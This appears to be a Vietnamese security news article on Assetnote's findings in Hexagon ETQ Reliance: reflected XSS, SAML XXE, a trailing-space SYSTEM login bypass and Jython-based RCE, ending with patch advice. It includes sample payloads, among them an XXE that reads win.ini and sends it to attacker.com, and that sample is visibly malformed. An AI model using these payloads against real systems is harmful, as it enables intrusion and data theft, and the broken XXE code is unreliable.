ETQ Reliance Phơi Bày Loạt Lỗ Hổng Nghiêm Trọng Dẫn Đến RCE

Hệ thống quản lý chất lượng dựa trên nền tảng Java của Hexagon ETQ, ETQ Reliance, đã được phát hiện tồn tại nhiều lỗ hổng nghiêm trọng theo một tiết lộ nghiên cứu bảo mật mới từ Assetnote. Phần mềm này, vốn hỗ trợ quản lý tài liệu và biểu mẫu với các tích hợp như macro Microsoft Word và kịch bản Jython, đã được xác định là dễ bị khai thác bởi nhiều loại tấn công, từ Cross-Site Scripting (XSS) phản hồi đến XML External Entity (XXE) injection, bỏ qua xác thựcthực thi mã từ xa (RCE).

Mặc dù được sử dụng rộng rãi và có khả năng phơi bày các tài liệu nhạy cảm trực tuyến, ETQ Reliance chưa từng có bất kỳ CVE nào được đăng ký trước đây, điều này khiến nó trở thành một mục tiêu tiềm năng cho việc phân tích chuyên sâu.

Tổng quan các Lỗ hổng Kỹ thuật và Lộ trình Vá lỗi

Các lỗ hổng được gán mã CVE-2025-34140 đến CVE-2025-34143. Các phát hiện này đã được tiết lộ một cách có trách nhiệm, dẫn đến việc phát hành các bản vá lỗi trong phiên bản NXG Release 2025.1.2.

Các nhà nghiên cứu đã bắt đầu quá trình phân tích bằng cách kiểm tra kỹ lưỡng cấu hình web.xml của ứng dụng, từ đó xác định các servlets không được bảo mật như SQLConverterServlet. Servlet này đã phơi bày một giao diện hướng đến nhà phát triển, cho phép chuyển đổi các truy vấn SQL giữa các nhà cung cấp cơ sở dữ liệu khác nhau như MySQL, PostgreSQLOracle.

Phân tích Chi tiết các Lỗ hổng

Lỗ hổng Cross-Site Scripting (XSS) Phản hồi (CVE-2025-34141)

Lỗ hổng XSS phản hồi này (CVE-2025-34141) phát sinh từ việc thiếu khả năng làm sạch dữ liệu đầu vào không đầy đủ trong phương thức doGet của SQLConverterServlet. Cụ thể, các tham số do người dùng cung cấp, chẳng hạn như MySQLStm, được trực tiếp phản hồi vào đầu ra HTML thông qua đối tượng PrintWriter mà không được xử lý hoặc mã hóa phù hợp. Điều này cho phép kẻ tấn công đưa vào các đoạn mã JavaScript tùy ý và thực thi chúng trong ngữ cảnh của trình duyệt người dùng, ngay cả trước khi quá trình xác thực diễn ra. Việc thiếu kiểm soát đầu vào trực tiếp trên đầu ra là nguyên nhân chính dẫn đến lỗ hổng này.

Ví dụ về cách một tham số đầu vào độc hại có thể được chèn:

GET /ETQReliance/SQLConverterServlet?MySQLStm=%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1
Host: etq.example.com

Khi máy chủ xử lý yêu cầu này, nội dung của tham số MySQLStm sẽ được in trực tiếp vào trang phản hồi, dẫn đến việc thực thi mã JavaScript trên trình duyệt của người dùng truy cập trang đó.

Lỗ hổng XML External Entity (XXE) Injection (CVE-2025-34142)

Nghiên cứu sâu hơn vào SSOFilter tại đường dẫn /resources/sessions/sso, nhóm nghiên cứu đã xác định được một lỗ hổng XXE injection (CVE-2025-34142) trong mô-đun SamlAuthenticationModule. Cụ thể, hàm parseXmlMessage trong SAMLManager sử dụng DocumentBuilderFactory mà không vô hiệu hóa tính năng giải quyết thực thể bên ngoài (external entity resolution).

Điều này tạo điều kiện cho kẻ tấn công gửi các payload SAMLResponse độc hại chứa các thực thể XML bên ngoài. Khi được phân tích cú pháp, các thực thể này có thể kích hoạt các yêu cầu gửi đi (outbound requests) đến các máy chủ do kẻ tấn công kiểm soát hoặc tiết lộ nội dung tệp nhạy cảm từ hệ thống máy chủ, ví dụ như các tệp cấu hình hoặc dữ liệu người dùng.

Trong các môi trường có lưu lượng truy cập ra ngoài bị hạn chế, việc khai thác lỗ hổng này có thể được leo thang bằng cách tận dụng cơ chế xử lý lỗi của Java trong trường tiêu đề Location của phản hồi HTTP. Khi một giao thức không xác định được sử dụng trong một yêu cầu thực thể bên ngoài, Java sẽ phản hồi lại với một thông báo lỗi chứa đầy đủ URL đã cố gắng truy cập. Kẻ tấn công có thể sử dụng kỹ thuật này để exfiltrate dữ liệu.

Bằng cách kết hợp các thực thể tham số (parameter entities) và tái sử dụng các tệp định nghĩa kiểu tài liệu (DTD) cục bộ trên Windows như cim20.dtd, kẻ tấn công có thể trích xuất nội dung các tệp hệ thống, ví dụ như C:\Windows\win.ini, thông qua các thông báo lỗi đã được mã hóa. Kỹ thuật này giúp vượt qua các hạn chế của đặc tả XML về vị trí đặt thực thể và cho phép rò rỉ dữ liệu ngay cả khi việc gửi dữ liệu trực tiếp bị chặn. Kỹ thuật này cũng cho phép liệt kê thư mục, mặc dù bị hạn chế bởi các ký tự không được phép như ‘<' hoặc '"' và giới hạn về kích thước mở rộng thực thể.

Ví dụ về một payload SAMLResponse XXE được mã hóa để trích xuất nội dung tệp:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % xxe SYSTEM "file:///C:/Windows/win.ini" >
  <!ENTITY % all
  <!ENTITY % send SYSTEM "http://attacker.com/?data=%xxe;" >
  %send;
]>
<foo>&all;</foo>

Payload này sẽ cố gắng đọc tệp win.ini và gửi nội dung của nó đến máy chủ của kẻ tấn công.

Lỗ hổng Bỏ qua Xác thực (Authentication Bypass) (CVE-2025-34143)

Phát hiện đáng chú ý nhất là lỗ hổng bỏ qua xác thực (CVE-2025-34143) trong cơ chế đăng nhập. Lỗ hổng này cho phép kẻ tấn công có được toàn quyền truy cập vào tài khoản nội bộ SYSTEM mà không cần xác thực mật khẩu, chỉ bằng cách thêm một khoảng trắng vào cuối tên người dùng “SYSTEM“.

Trong tệp UserManager.java, hàm resolveUser kiểm tra tên người dùng “SYSTEM” một cách không phân biệt chữ hoa chữ thường. Tuy nhiên, nó không cắt bỏ các khoảng trắng (whitespace) thừa. Điều này dẫn đến một logic lỗi: hàm này sẽ ném ra một AppException cho các trường hợp khớp chính xác với “SYSTEM” (có thể để ngăn chặn việc đăng nhập trực tiếp vào tài khoản này mà không qua quy trình bảo mật đặc biệt), nhưng lại tiếp tục xử lý và cho phép đăng nhập nếu tên người dùng là “SYSTEM ” (có khoảng trắng ở cuối).

Theo báo cáo, do cách đối chiếu mặc định của MySQL (default collation) xử lý “SYSTEM” và “SYSTEM ” là tương đương trong các truy vấn cơ sở dữ liệu, hàm tạo (constructor) của đối tượng User sẽ đặt cờ hệ thống (system flag) thành true khi nhận diện “SYSTEM “. Điều này khiến cho lệnh gọi hàm authenticate(pwd) bị bỏ qua hoàn toàn. Kết quả là, kẻ tấn công có thể đăng nhập vào tài khoản SYSTEM với bất kỳ mật khẩu nào, phơi bày tài khoản quan trọng này, vốn được thiết kế chỉ dành cho các hoạt động nội bộ của hệ thống.

Lỗ hổng Bỏ qua Xác thực khác (CVE-2025-34140)

Ngoài ra, một lỗ hổng bỏ qua xác thực khác (CVE-2025-34140) cũng đã được phát hiện, liên quan đến việc thêm chuỗi “;localized-text” vào các URI. Tuy nhiên, thông tin chi tiết về cơ chế khai thác và tác động của lỗ hổng này ít được công bố hơn so với các lỗ hổng khác.

Leo thang đặc quyền và Thực thi Mã từ xa (RCE)

Từ quyền truy cập ban đầu thu được thông qua lỗ hổng bỏ qua xác thực CVE-2025-34143 (với tư cách là người dùng SYSTEM), việc leo thang đặc quyền lên thực thi mã từ xa (RCE) trở nên dễ dàng thông qua công cụ báo cáo dựa trên Jython của ETQ.

Với quyền truy cập SYSTEM, kẻ tấn công có thể sửa đổi các tập lệnh báo cáo hiện có hoặc tạo mới. Bằng cách chèn các lệnh gọi đến subprocess.Popen của Python (thông qua môi trường Jython), kẻ tấn công có thể thực thi các lệnh hệ điều hành tùy ý. Ví dụ, chèn lệnh “cmd.exe /c dir” sẽ dẫn đến việc thực thi mã tùy ý trên máy chủ khi báo cáo được hiển thị hoặc tạo ra. Chuỗi tấn công này biến một lỗi nhỏ trong xử lý đầu vào thành một lỗ hổng nghiêm trọng, cho phép kiểm soát hoàn toàn hệ thống.

Ví dụ về đoạn mã Jython độc hại được chèn vào tập lệnh báo cáo:

import subprocess
output = subprocess.Popen(['cmd.exe', '/c', 'dir'], stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
# Thêm output vào báo cáo hoặc gửi đi

Khi báo cáo được yêu cầu hoặc hiển thị, đoạn mã Jython này sẽ được thực thi trên máy chủ, thực hiện lệnh dir và có khả năng cho phép kẻ tấn công thu thập thông tin hoặc thực thi các lệnh khác để kiểm soát hệ thống.

Tác động và Khuyến nghị

Những phát hiện của Assetnote nhấn mạnh nguy cơ tiềm tàng của các trường hợp biên bị bỏ qua trong các ứng dụng Java doanh nghiệp. Trong đó, các lớp trừu tượng như hành vi đối chiếu cơ sở dữ liệu (collation behaviors) và các đầu vào không được cắt bỏ (untrimmed inputs) có thể tạo ra các vector tấn công tinh vi.

Thông báo từ Hexagon ETQ đã xác nhận việc phát hành các bản vá lỗi và khẩn cấp khuyến nghị người dùng thực hiện cập nhật ngay lập tức lên NXG Release 2025.1.2 để giảm thiểu rủi ro rò rỉ dữ liệu, truy cập trái phép và thực thi mã từ xa trong các môi trường sản xuất.